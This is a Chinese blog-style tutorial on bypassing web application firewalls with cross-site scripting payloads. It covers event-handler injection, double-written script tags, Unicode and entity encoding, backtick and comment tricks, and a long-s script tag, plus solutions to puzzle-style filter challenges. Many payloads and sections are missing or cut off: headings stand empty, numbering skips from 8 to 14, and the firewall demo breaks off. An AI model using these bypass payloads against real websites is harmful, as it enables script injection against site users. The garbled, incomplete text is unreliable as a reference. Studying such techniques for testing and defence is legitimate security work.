XSS的Waf绕过及工具使用(附靶场通关记录,持续更新)

一、常用payload

1、echo

alert(1)";
?>

2、img标签







3、CSS


4、href

标准格式
baidu
XSS利用方式1
aa
 aa
 aa
 XSS利用方式2

 aa
XSS利用方式3
aa
XSS利用方式4
aa

5、form标签

XSS利用方式1
XSS利用方式2

6、input标签

标准格式

利用方式1

利用方式2

利用方式4

7、iframe标签

XSS利用方式1


 

8、svg标签


9、其他

  • 事件型还有onbody标签

二、常用的绕过Waf

1、利用大小写绕过

这个绕过方式的出现是因为网站仅仅只过滤了

2、利用过滤后返回语句再次构成攻击语句来绕过(经常用双写绕过)

有的只过滤了一次script标签,因此可以使用双写来绕过Pt>alert(1)ripT>

3、并不是只有script标签才可以插入代码

(1)img标签

就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

(2)onmouseover事件

(3)onclick事件

onclick="alert(1)" 这个要点击后才能运行代码,条件相对苛刻,就不再详述。

(4)onload事件

比如以下代码

function render (input) {
 let domainRe = /^https?:\/\/www\.segmentfault\.com/ //http...或https....
 if (domainRe.test(input)) {  //是否包含在input中
 return ``
 }
 return 'Invalid URL'
}

payload:http://www.segmentfault.com" onload="alert(1)

4、编码脚本绕过关键字过滤

(1)Javascript的编码--eval()函数

\uXXXX 这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。

有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)(对应于ASCII码的十六进制)

所以构建出来的攻击语句如下:

(2)HTML实体编码

实体编码字符(翻译官)

把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符

比如以下代码

function render (input) {
 const stripBracketsRe = /[()`]/g    //正则表达式,看//包裹的内容即可
 input = input.replace(stripBracketsRe, '')  把()`替换为空
 return input
}

payload: 因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用

(3)翻译官(Unicode编码)

function render (input) {
 input = input.toUpperCase()  //把所有的输出内容都大写
 return `

${input}

` }

payload: HTML编码或者Unicode编码

5、主动闭合标签实现注入代码

比如以下代码

function render (input) {
 return ''
}

payload:">

6、绕过小括号()

在前端中,反引号`可以当作小括号来使用

比如以下代码

function render (input) {
 const stripBracketsRe = /[()]/g   //正则表达式,看//中间的内容即可
 input = input.replace(stripBracketsRe, '')  //把[()]替换为空
 return input
}

payload:

7、绕过()`

(1)使用HTML实体编码

如上文所述

8、绕过HTML注释符

有两种注释方法:




比如以下代码

function render (input) {
 input = input.replace(/-->/g, '')  //将-->替换为笑脸
 return ''
}

payload:使用另一个注释符来畸形进行绕过

--!> 
 

--> js的注释符,让后面的语句不生效

function render (input) {
 input = input.replace(/[
 // alert('${input}')    注释只能注释掉这一行
 
 `
}
xx
alert(1)
-->     js的注释符,让后面的语句不生效

(2)注释符//

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(//g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `

`
}

payload:");alert(1)//

通过源码发现一些字符被转义了,就连换行符也被转义了。但是发现竟然还可以用,原因是//虽然被转义成了//,但转义之后还是//,在js中还是注释符(勿与正则混淆)

14、使用古英语

function render (input) {
 input = input.replace(/<([a-zA-Z])/g, '<_$1') <碰到字母就变成<_
 input = input.toUpperCase()
 return '

' + input + '

' }

使用维基百科搜索s,会发现长s,古英语的s

举一反三,碰到其他字母是否也可以用古英语

payload:

<ſcript src='http://127.0.0.1/ABC.JS'>

15、使用伪协议


三、Waf防护与绕过演示

就使用xss-labs这个靶场的第一关和某狗作为演示

分析拦截情况

  1. 通过去除关键词或关键词的其中某些字母判断拦截了什么关键词,如下正常
  1. 而如下就不正常了
  1. 如下正常。说明是匹配了

你可能感兴趣的:(XSS的Waf绕过及工具使用(附靶场通关记录,持续更新))